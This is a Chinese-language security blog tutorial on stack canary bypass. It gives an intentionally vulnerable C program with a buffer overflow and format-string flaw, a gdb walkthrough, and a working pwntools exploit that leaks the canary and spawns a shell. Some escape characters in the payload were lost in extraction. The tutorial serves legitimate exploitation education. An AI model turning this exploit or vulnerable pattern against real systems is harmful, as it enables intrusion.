栈溢出原理:
canary保护原理:
//插入cookie的值
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
//xor比较cookie值是否改变
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
如下图,为某函数开始前插入cookie时的操作, p/x $eax 序言部分查看canary的值,这个canary值会随着每次程序运行进行改变,即它是不固定的! canary绕过讲解
关于canary的原理讲了这么多,似乎很牛X的样子,那么我们有没有什么办法可以绕过这玩意儿呢? 这必须得有啊,要不然咱还怎么写下去! 网上百度出来的也大都如下两种方法:
-
爆破canary -
如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
//canary.c
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
使用如下命令编译程序:(默认开启 NX,ASLR,Canary 保护) gcc -m32 -no-pie canary.c -o canary.exe gcc编译指令解析: -m32 指的是生成 32 位程序; -no-pie 关闭PIE(Position Independent Executable) -o 指定输出文件 如下,编译成功 leak canary
泄露思路:
Canary 设计为以字节 x00 结尾,本意是为了保证 Canary 可以截断字符串。泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。 —来自ctf-wiki :https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
leak过程
gdb canary.exe 进行程序调试,输入r进行运行程序 如下,下一步输入S将会进入vuln函数。 disass vuln函数的反汇编,观察程序执行前后的操作。具体反汇编如下图: 在函数序言部分插入canary值: 0x080485fc <+6>: mov eax,gs:0x14 0x08048602 <+12>: mov DWORD PTR [ebp-0xc],eax 函数返回前,vuln函数返回前检测是否栈溢出 0x08048640 <+74>: mov eax,DWORD PTR [ebp-0xc] 0x08048643 <+77>: xor eax,DWORD PTR gs:0x14 0x0804864a <+84>: je 0x8048651 <vuln+91> 0x0804864c <+86>: call 0x8048450 <__stack_chk_fail@plt> 结合x86堆栈图,我们可以尝试绘制vuln程序的堆栈图。 由上堆栈图,可以发现read函数读取的buf和canary恰好相邻,buf所占长度为100,canary为4。而我们调试程序发现,Read读取时buf的长度为多少,printf输出buf的长度也是多少,不验证函数给buf的分配的原长度。 (PS:这里的表达可能不是很准确哦!因为调试时发现当read读取100个a,其实长度为101,因为字符串结尾还有一个x00字符,此时printf输出了100个a和一个乱码,这个乱码其实是一个地址空间canary value,所以这里应表达为Read读取时buf的长度为多少,printf输出buf相对应的整数个地址空间!) read(0, &buf, 0x200u); //可以向buf读取最大范围0x200个字节长度 printf(&buf) //输出buf长度=read读取的长度 exp构造
讲了这么多终于到了payload构造的时刻了,突然还有点小激动了呢!哎呦哎呦~~ 原理:
结合上述堆栈图,我们可以构造 payload=”A”*100+canary值+unknown+ebx+跳转地址100是因为&buf所占空间为100 我们可以溢出值cookies的低地址,然后通过printf(&buf)获取泄露出来,然后再构造到payload中,跳转地址我们这里可以设置为getshell函数的地址。 payload:
具体python代码构造如下: #!/usr/bin/env python
from pwn import *
context.binary = 'canary.exe'
#context.log_level='debug'
io=process('./canary.exe') #本地程序交互
get_shell = ELF("./canary.exe").sym["getshell"] # 获取getshell函数的起始地址
io.recvuntil("Hello Hacker!n") #读取字符串“Hello Hacker!”
#leak Canary
payload = "A"*100 #buf所占栈空间长度为100
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 'n' 对应的十六进制就是0xa
io.recvuntil('A'*100) #读取输入的字符串100个A
Canary = u32(io.recv(4))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canary
log.info("Canary:"+hex(Canary)) #输出Canary保护中cookie的值
#Bypass Canary
payload = "x90"*100+p32(Canary)+"x90"*12+p32(get_shell)# 使用getshell的函数地址覆盖原来的返回地
io.send(payload)
io.recv()
io.interactive()
文章over了,看到这里了,如果各位看官点个赞再走呗~~,如果您有一些其他的想法,欢迎评论区留言啦!咱评论区见,等你哦~~~
号外号外!
【ISC情报周刊-第一期上线啦!】
ISC情报周刊是由ISC大会、360网络安全响应中心和安全客联合出品的每周安全情报视频资讯,以视频的全新展现形式带大家领略每周的重大安全事件和安全资讯。欢迎关注ISC情报周刊获取精彩内容!
今天都有哪些资讯?一起抢先看看吧~
- End -
精彩推荐
Wordpress File-manager 任意文件上传漏洞分析
一键 Shell,我的 OSWE 之旅
数据中心巨头Equinix遭遇勒索软件攻击,被勒索450万美元
快报!英国纽卡斯尔大学遭受DoppelPaymer勒索软件攻击,导致大量数据发生泄漏
戳“阅读原文”查看更多内容
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论